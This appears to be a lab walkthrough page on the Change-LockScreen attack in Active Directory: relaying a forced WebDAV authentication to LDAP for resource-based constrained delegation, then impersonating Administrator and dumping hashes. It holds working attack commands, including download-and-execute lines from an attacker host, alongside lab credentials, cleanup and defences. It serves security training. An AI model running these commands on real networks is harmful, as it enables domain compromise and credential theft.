Change-LockScreen

Abuse the lockscreen image changing functionality to achieve a webdav network authentication as SYSTEM from the given computer. Then relay the authentication to the Active Directory LDAP service in or

Configuring

  1. Login to WEB01 as the Administrator user with password Welcome01!.

  2. Open PowerShell and execute the following command to enable WebDav.

Install-WindowsFeature WebDAV-Redirector –Restart

2. After the server restarts Open the "Windows Defender Firewall" to open up the SMB port.

3. Click on "Allow an app or feature through Windows Defender Firewall"

4. Select "File and Printer sharing" and click on "OK"

Attacking

How it works

Abuse the lockscreen image changing functionality to achieve a webdav network authentication as SYSTEM from the given computer. Then relay the authentication to the Active Directory LDAP service in order to set up Resource-Based Constrained Delegation to that specific machine.

Tools

Executing the attack

Prerequisite

  • Low priv shell on a machine

  • An account with a SPN associated (or able to add new machines accounts (default value this quota is 10))

  • WebDAV Redirector feature must be installed on the victim machine. (W10 has it by default, but manually installed on server 2016 and later)

  • A DNS record pointing to the attacker’s machine (By default authenticated users can do this)

Executing the attack

  1. It is expected that a low privileged shell is already gained on Web01 through the SQL server.

pageExecuting Commands

2. Get the machine account Qouta from the domain with crackmapexec:

crackmapexec ldap 10.0.0.5 -u richard -p Sample123 -M MAQ

The machine account qouta is 10, meaning we (all authenticated users) can create our own computerobject in the domain.

2. Create machine account FAKE01 with password 123456 with PowerMad:

iex (iwr http://192.168.248.3:8090/Powermad.ps1 -usebasicparsing)
New-MachineAccount -MachineAccount FAKE01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

3. Create a DNS record for webdav to our attacking machine with Invoke-DNSUpdate. The DNS record is required for webdav connection to work. It won't connect through an IP only with a hostname. We create a DNS record webdav.amsterdam.bank.local to our attacking machine IP.

iex (iwr http://192.168.248.3:8090/Invoke-DNSUpdate.ps1 -usebasicparsing)
Invoke-DNSUpdate -DNSType A -DNSName webdav.amsterdam.bank.local -DNSData 192.168.248.3 -Realm amsterdam.bank.local

We now have all our prerequisites. Time to escalate our privileges.

4. Run NTLMRelay on our Kali machine and set it up so it will write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute that allows our created computerobject FAKE01 to actonbehalf WEB01:

python3 /opt/impacket/examples/ntlmrelayx.py -t ldap://10.0.0.3 --delegate-access --escalate-user FAKE01$ --serve-image ./image.jpg

5. Run the Change-LockScreen tool in the shell of WS01 and check the ntlmrelay output. The Change-LockScreen command will give an error but this doesn't matter:

iex (iwr http://192.168.248.3:8090/Change-Lockscreen.ps1 -usebasicparsing)
change-lockscreen -webdav \\webdav@80\

When we check the ntlmrelay output we see that FAKE01 can now impersonate users on WEB01.

If we open the attribute editor on DC02 for WEB01 we can see the msDS-AllowedToActOnBehalfOfOtherIdentity attribute:

6. Create a CIFS service ticket using FAKE01 impersonating the domain admin Administrator using impackets getST.py. Fill in the password 123456.

getST.py amsterdam/FAKE01@10.0.0.5 -spn cifs/web01.amsterdam.bank.local -impersonate administrator -dc-ip 10.0.0.3

7. Use this ticket and run secretsdump.py to dump the local admin hashes of WEB01.

export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass web01.amsterdam.bank.local

Cleanup

  1. Login to DC02 as Administrator with the password Welcome01!.

  2. Execute the following command to remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute from WEB01.

Set-ADComputer -PrincipalsAllowedToDelegateToAccount $null -Identity web01

3. Execute the following command to remove the FAKE01 computer we created:

Get-ADComputer fake01 | Remove-ADObject

4. Open "DNS Manager" and expand DC02 --> Forward Lookup Zones --> and click on Amsterdam.bank.local.Remove the DNS-record created for webdav:

4. From our Kali machine set the SQL server settings back:

mssql-cli -S 10.0.0.5 -U sa -P sa
EXEC sp_configure 'xp_cmdshell',0
RECONFIGURE
EXEC sp_configure 'show advanced options',0
RECONFIGURE

Defending

Recommendations

  • Change who can add computers to the domain.

pageChange who can join computers to the domain

  • Add privileged users to the protected users group.

pageProtected users group

  • Add the flag "Account is sensitive and cannot be delegated".

pageAccount is sensitive and cannot be delegated

  • Remove the WebDav client from servers and workstations.

Detection

References

PreviousComputeraccount TakeoverNextWebclient Attack (todo)

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